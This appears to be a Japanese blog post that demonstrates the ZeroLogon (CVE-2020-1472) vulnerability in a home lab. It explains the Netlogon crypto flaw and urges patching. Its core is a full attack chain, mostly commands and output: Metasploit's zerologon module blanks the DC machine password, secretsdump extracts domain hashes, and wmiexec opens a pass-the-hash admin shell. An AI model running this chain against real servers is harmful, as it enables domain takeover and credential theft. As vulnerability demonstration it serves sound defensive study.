今回は、2020/8月頃に報告された、ドメインコントローラーが第三者に乗っ取られる可能性があるZeroLogon(CVE-2020-1472)の脆弱性について、Metasploitを用いて実機検証します。
なお、本稿は脆弱性の脅威を示すもので、不正利用を推奨するものではありません。
本人の管理下にないマシンに対して実施するなどの行為は、避けるようにお願いします。
また、別のexploit記事は下記に掲載しています。
ZeroLogon(CVE-2020-1472)概要
ZeroLogon問題はNetlogonプロトコルにおける特権昇格の脆弱性で、緊急の深刻度が設定されています。CVSSのスコアは最大の10です。
対象サーバーにアクセス可能なマシンがあれば、ドメイン管理者でログインすることで、ドメインコントローラーを乗っ取ることができます。
原因
Netlogon 認証プロセスで使われている 暗号モードの実装上の問題にあります。
本来、初期ベクトルは毎回ランダムに作成する必要がありますが、初期ベクトルをオール0で固定する実装になっているため、1/256の確率で生成される暗号データ0となり不正な認証が通ってしまいます。
プロセスについては、こちらの動画CVE-2020-1472 ZeroLogonの原因をわかりやすく解説!で詳しく説明されています。
対象OS
対象OSは、現在普及している多くのWindows Serverが該当します。
詳細は、マイクロソフトのアナウンスであるNetlogon の特権の昇格の脆弱性を参照してください。
対象サーバーは早めに対応することをお勧めします。
マイクロソフトからの対応ガイダンスは、Netlogonの対応ガイダンスの概要(https://msrc-blog.microsoft.com/2020/09/14/20200915_netlogon/)にあります。
検証準備
攻撃用マシン構築
攻撃用マシンとして、ubuntu 20.04にツールMetasploitとimpacketを準備しました。
Metasploitインストール
$ curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
$ chmod 755 msfinstall
$ ./msfinstall
詳細およびMacOSやWindowsの方は、Installing Metasploit on Linux / macOSを参照してください。
impacketモジュールインストール
$ sudo apt install python3-pip
$ pip3 install impacket --upgrade --user
攻撃対象サーバー構築
攻撃対象として、Windows Server 2016 Standardを用意しました。パッチが適用されないように、インストール時の更新プログラムは未適用にしています。
サーバーの役割として、Active Directory ドメインサービスを追加し、ウィザードに従ってActive Directoryをセットアップし、ドメインコントローラーを構築しています。
検証手順
それでは、ubuntuマシンを操作してActive Directory管理者に
なお、攻撃対象サーバーのIPアドレス172.25.203.80は入手済み、かつドメインコントローラーと通信可能状態とします。
netbios情報を入手する
サーバーのnetbios情報から、マシン名WIN-OFS3C0UV7JDとドメイン名EVALを入手します。
$ msfconsole
> use auxiliary/scanner/netbios/nbname
> set RHOSTS 172.25.203.80
> set THREADS 1
> exploit
[*] Sending NetBIOS requests to 172.25.203.80->172.25.203.80 (1 hosts)
[+] 172.25.203.80 [WIN-OFS3C0UV7JD] OS:Windows Names:(WIN-OFS3C0UV7JD, EVAL) Addresses:(172.25.203.80) Mac:00:15:5d:38:01:15
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
zerologon攻撃を仕掛ける
zerologon攻撃を仕掛け、マシンアカウントのパスワードをブランクに設定します。
> use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
> set RHOSTS 172.25.203.80
> set NBNAME WIN-OFS3C0UV7JD
> exploit
[*] Running module against 172.25.203.80
[*] 172.25.203.80: - Connecting to the endpoint mapper service...
[*] 172.25.203.80:49667 - Binding to 12345678-1234-abcd-ef00-01234567cffb:1.0@ncacn_ip_tcp:172.25.203.80[49667] ...
[*] 172.25.203.80:49667 - Bound to 12345678-1234-abcd-ef00-01234567cffb:1.0@ncacn_ip_tcp:172.25.203.80[49667] ...
[+] 172.25.203.80:49667 - Successfully authenticated
[+] 172.25.203.80:49667 - Successfully set the machine account (WIN-OFS3C0UV7JD$) password to: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 (empty)
[*] Auxiliary module execution completed
パスワードハッシュを入手する
secretsdump.pyでマシンアカウントを利用して、ドメインユーザーAdministratorのパスワードハッシュ(aad…df7)を入手します。
$ cd $HOME/.local/bin
$ python3 secretsdump.py -just-dc EVAL/WIN-OFS3C0UV7JD\$@172.25.203.80 -no-pass
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c283a36a235709a64fe18d4e07496df7:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:074a3a75dc905e601e9c2f1563a00c69:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WIN-OFS3C0UV7JD$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:3d2355e7b3cf8ac15948b75ec67919fac6d506a058a0f2a40e34f05dce3c1eab
krbtgt:aes128-cts-hmac-sha1-96:54343a529710d6933208ec8707d8e7cb
krbtgt:des-cbc-md5:adbf2f260d1697ba
WIN-OFS3C0UV7JD$:aes256-cts-hmac-sha1-96:d670d7f9c58f10dcf52fab17cc56721282a2eab8ddeb7d29750ef2a7203cc6ea
WIN-OFS3C0UV7JD$:aes128-cts-hmac-sha1-96:e5f6c3bc4369e6500270677ce205bcd5
WIN-OFS3C0UV7JD$:des-cbc-md5:344349439db913a1
攻撃対象マシンに侵入する
wmiexec.pyでAdministratorのパスワードハッシュを利用して、ドメインコントローラーにadministratorでログオンできることを確認します。
$ python3 wmiexec.py EVAL/Administrator@172.25.203.80 -hashes aad3b435b51404eeaad3b435b51404ee:c283a36a235709a64fe18d4e07496df7
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>hostname
WIN-OFS3C0UV7JD
C:\>whoami
eval\administrator
ログインしたのはドメイン管理者なので、やりたい放題です。
まとめ
今回は、ZeroLogon(CVE-2020-1472)の脆弱性を用いると、ドメインコントローラーを容易に乗っ取られてしまう可能性があることについて検証してみました。
Windowsのサーバー管理者で本CVEの対象OSを管理されている場合、早急にパッチの適用を検討されることを推奨いたします。
以上、ZeroLogon(CVE-2020-1472)の脅威についてでした。
コメント